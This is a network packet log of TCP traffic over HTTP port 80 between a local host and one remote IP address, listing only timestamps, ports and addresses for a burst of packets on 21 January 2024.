Jan 21, 2024 17:27:13.021612883 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.021620989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.021646976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.022358894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.022401094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.022427082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.022442102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.022454977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.022473097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.022500992 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.022516966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.023228884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.023241997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.023255110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.023267031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.023279905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.023277998 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.023319006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.024082899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024096966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024110079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024121046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024125099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.024130106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024238110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.024914026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024928093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024940014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024952888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024961948 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.024965048 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.024985075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.025672913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.025713921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.025715113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.025729895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.025743008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.025754929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.025767088 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.025789976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.026490927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.026504993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.026536942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.026551008 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.026578903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.026592970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.026623011 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.027384996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.027400017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.027430058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.027435064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.027448893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.027461052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.027473927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.027506113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.028184891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.028249025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.028261900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.028275013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.028289080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.028295040 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.028325081 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.029068947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029083014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029093981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029108047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029119968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.029123068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029145956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.029169083 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.029849052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029912949 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029925108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029937029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029951096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.029958010 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.029973030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.030725002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.030739069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.030750990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.030764103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.030776024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.030777931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.030802965 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.030817986 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.031491995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.031538010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.031550884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.031563997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.031574965 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.031577110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.031600952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.032360077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.032377958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.032391071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.032402992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.032407999 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.032418013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.032426119 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.032455921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.033205986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.033258915 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.033272028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.033283949 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.033298016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.033299923 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.033319950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.034049034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034063101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034075022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034086943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034092903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.034101009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034128904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.034142017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.034888983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034902096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034913063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034926891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034940004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.034940958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.034975052 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.035690069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.035739899 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.035778046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.035792112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.035804987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.035818100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.035830975 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.035864115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.036550045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.036562920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.036576033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.036587954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.036601067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.036607027 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.036632061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.037381887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.037395954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.037408113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.037420034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.037429094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.037432909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.037450075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.037480116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.038300991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.038315058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.038326979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.038340092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.038352966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.038357019 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.038391113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.039053917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039067030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039078951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039093018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039107084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039130926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.039130926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.039153099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.039869070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039881945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039894104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039911032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039915085 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.039926052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.039975882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.040652990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.040667057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.040699959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.040704966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.040714025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.040726900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.040760994 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.040776014 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.041590929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.041604996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.041615963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.041629076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.041644096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.041644096 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.041671991 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.042299986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.042346001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.042365074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.042378902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.042391062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.042403936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.042435884 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.042459011 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.043133020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.043199062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.043211937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.043226957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.043239117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.043245077 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.043257952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.044025898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044039965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044051886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044063091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044076920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044084072 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.044105053 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.044127941 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.044785976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044869900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044883966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044895887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044909000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.044917107 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.045061111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.045715094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.045728922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.045742989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.045756102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.045756102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.045770884 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.045783997 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.045818090 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.046514988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.046528101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.046540022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.046552896 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.046566963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.046571016 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.046597958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.047286034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.047333002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.047348022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.047362089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.047374964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.047393084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.047398090 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.047444105 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.048141003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048207045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048219919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048234940 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048248053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048250914 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.048279047 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.048958063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048974037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.048989058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049007893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.049029112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049038887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.049043894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049082994 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.049850941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049896002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049910069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049922943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049937010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.049942970 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.049978018 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.050698996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.050714016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.050726891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.050739050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.050743103 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.050753117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.050769091 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.050798893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.051496029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.051508904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.051521063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.051533937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.051548958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.051548958 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.051578045 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.052321911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.052335978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.052349091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.052362919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.052371979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.052376986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.052395105 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.052428007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.053122997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.053137064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.053148985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.053173065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.053180933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.053194046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.053231955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.053962946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054013968 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.054034948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054049015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054061890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054075956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054081917 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.054111004 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.054860115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054873943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054891109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054905891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054910898 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.054919004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.054948092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.055685043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.055699110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.055711985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.055726051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.055735111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.055740118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.055761099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.055778980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.056505919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.056520939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.056540012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.056551933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.056562901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.056564093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.056590080 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.057326078 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.057339907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.057353973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.057365894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.057379007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.057379961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.057395935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.057421923 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.058176994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.058193922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.058207035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.058218956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.058232069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.058243990 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.058260918 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.059016943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059031010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059042931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059055090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059067965 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059073925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.059084892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.059118032 CET	49713	80	192.168.2.6	172.67.210.35
